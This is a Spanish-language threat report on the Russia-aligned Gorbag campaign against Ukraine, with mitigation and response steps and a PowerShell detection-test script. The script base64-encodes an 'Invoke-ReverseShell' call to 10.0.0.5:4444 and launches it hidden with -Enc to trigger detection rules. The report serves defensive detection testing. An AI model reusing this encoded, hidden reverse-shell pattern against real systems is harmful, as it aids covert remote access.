La campaña de malware Gorbag recoge inteligencia de Ucrania

Resumen

Gorbag es un actor de amenazas alineado con Rusia que apunta a organizaciones ucranianas para recopilar información sensible. El grupo utiliza un conjunto de herramientas especializadas que incluye el infostealer BeautyStealer y Prime ReverseShell para recolectar credenciales del navegador, configuraciones de VPN y documentos. Sus operaciones enfatizan la recopilación rápida de inteligencia sobre la persistencia a largo plazo, lo que sugiere un posible rol como intermediario de acceso inicial.

Investigación

Los investigadores de ESET han seguido la actividad de Gorbag desde febrero de 2025 y observaron un cambio en 2026 hacia la explotación de una vulnerabilidad de recorrido de directorios de WinRAR. La investigación identificó múltiples variantes de BeautyStealer y analizó la exfiltración a través de Telegram e infraestructura C2 personalizada. Los investigadores también descubrieron un shell inverso de PowerShell modificado para engañar a las herramientas de seguridad basadas en IA.

Mitigación

Las organizaciones deben actualizar WinRAR para abordar CVE-2025-8088 y fortalecer el filtrado de correos electrónicos para bloquear intentos de spearphishing. Restringir la ejecución de macros a través de la Política de Grupo puede ayudar a prevenir la etapa inicial de infección. Los equipos de seguridad también deben monitorear la actividad inusual de PowerShell y la exfiltración de datos no autorizada a servicios como Telegram.

Respuesta

Cuando se detecta actividad maliciosa, aísle los hosts comprometidos para detener la exfiltración de datos y el robo de credenciales. Realice un análisis forense del %ProgramData% directorio y la carpeta de Inicio de Windows en busca de archivos LNK o cargas útiles sospechosas. Restablezca todas las credenciales posiblemente expuestas, incluidas contraseñas almacenadas en el navegador y configuraciones de VPN, en el entorno afectado.

Ejecución de Simulación

• Narrativa del Ataque y Comandos: Un adversario ha obtenido acceso inicial a través de un archivo adjunto de spearphishing. Para establecer persistencia y un canal de comando y control (C2), intentan desplegar el «Prime ReverseShell». Utilizan PowerShell con la -Enc (EncodedCommand) para ocultar la estructura de la carga útil de una inspección básica e incluir la cadena Invoke-ReverseShell dentro de la lógica decodificada para mantener la compatibilidad con las firmas de herramientas existentes. Simultáneamente, simulan la actividad de «BeautyStealer» llamando a un script que contiene ese identificador específico para exfiltrar datos del navegador.

• Script de Prueba de Regresión:

  # Script de Simulación: Patrón de Activación de Gorbag APT
  # Este script ejecuta dos comandos separados para activar las cadenas de detección específicas.
  
  Write-Host "[+] Iniciando Simulación: Activando Lógica de Prime ReverseShell/BeautyStealer..." -ForegroundColor Cyan
  
  # 1. Activador mediante -Enc e Invoke-ReverseShell (Simulando Prime ReverseShell)
  # Usamos un comando codificado en Base64 que, cuando se decodifica, contiene 'Invoke-ReverseShell'
  $Command = 'Write-Host "Conectando..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Ejecutando Comando Codificado..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Activador mediante la palabra clave 'BeautyStealer' (Simulando actividad de BeautyStealer)
  Write-Host "[+] Ejecutando Activador de Palabra Clave BeautyStealer..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Ejecutando módulo BeautyStealer...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Comandos de simulación enviados." -ForegroundColor Green

• Comandos de Limpieza:

  # Limpieza: No se crearon archivos persistentes, pero aseguramos que no queden procesos huérfanos.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Limpieza completa." -ForegroundColor Cyan